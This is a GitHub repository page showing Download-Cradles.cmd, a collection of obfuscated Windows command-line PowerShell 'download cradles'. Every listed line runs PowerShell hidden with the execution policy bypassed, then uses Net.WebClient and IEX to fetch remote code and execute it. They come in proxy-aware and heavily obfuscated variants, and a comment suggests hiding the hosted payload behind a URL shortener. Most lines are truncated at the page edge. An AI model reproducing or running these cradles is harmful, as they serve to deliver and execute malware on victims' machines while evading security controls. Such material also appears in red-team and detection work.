VirtualAlllocEx / Payload-Download-Cradles Public

Notifications Fork 51 Star 257

Code Issues 1 Pull requests Actions Projects Security Insights

Files

88e8eca

Go to file

- Download-Cradles.cmd
- Download:Cradle.js
- Download_Cradles.hta
- Download_Cradles.ps1
- README.md

Payload-Download-Cradles / **Download-Cradles.cmd**

VirtualAlllocEx Update Download-Cradles.cmd 46a6d76 · 2 years ago History

Code Blame 26 lines (21 loc) · 3.55 KB Raw

```
# Not proxy aware download cradles, which can be executed in a Windows Command Shell (c
# Windows Command Shell download cradles, not proxy aware ligthly obfuscated
cmd> c:\WInDowS\sySTEM32\cmD.eXE   /c  PoWErSheLl  -nopROfi  -EXe  byPAsS  -wiNDOwsTy
cmd> PoWErSheLl  -nopROfi  -EXe  byPAsS  -wiNdOwsTy  HIDdEN -cOMMA  "IEX (New-Object Ne
cmd> POWErshelL  -NoPRofi -WiNdoWSTYL  hidd -EXecUTiOnPO BYpASS -cO  "i`EX (    neW-o`B

# Windows Command Shell download cradles, not proxy aware obfuscated
cmd> c:\wiNdoWs\sysTEM32\CmD  /c  pOWeRsheLl -WiNDOW  HIddEN -eXECUTI  BYpaSS  -nop  -C
cmd> pOWeRshell -WiNDOW  HIddEN -eXECUTI  BYpaSS  -nop  -CoMmanD   "(New-Object Net.Web
cmd> pOWERShELl -NopROFi -wIN hidd -EXEcutiOnPoLiC BYpAsS  -COm    "$url='https://paste
cmd> POWERShelL  -W  hId -eXECuTionpoLIC BYPaSS  -NOprOfiLe -cOmMA    "$url='https://pa
cmd> POWeRsHeLl -cO   "&( ([String]''.Normalize)[23,15,46]-Join'')(([Char[]](New-Object
cmd> POWerSHElL  -CommA    "i`Ex ( nE`w-`ObJect Ne`T.WEBCl`Ient  ).\"DowNlo`Ads`TRI`NG\



# Proxy aware download cradles, which can be executed in a Windows Command Shell (cmd.e
# Info: I use a shortcut link to the raw link from your hosted payload on Github
# For example, https://cutt.ly/syFzILH directs to the raw link of hosted payload on git

# Windows Command Shell download cradles, proxy aware ligthly obfuscated
cmd> c:\wInDOwS\sysTem32\CmD   /cPowErShell -wINdowstYL  Hi  -nop -eXecU ByPAss -COm
cmd> PowErShell -wINdOwstYL  Hi  -nop -eXecU BYpAss -COm    "$c=new-object net.webclien

# Windows Command Shell download cradles, proxy aware heavy obfuscated
cmd> C:\WINdOWS\SySteM32\CmD.EXe  /cpOWershEll  -eXecut byPaSS -Noprof  -w  H -Co    "$
cmd> poWershELl -eXecUT byPAss -WINDo  1  -nOpR  -coMm  "& ((vARiaBlE '*mdr*').Name[3,1
```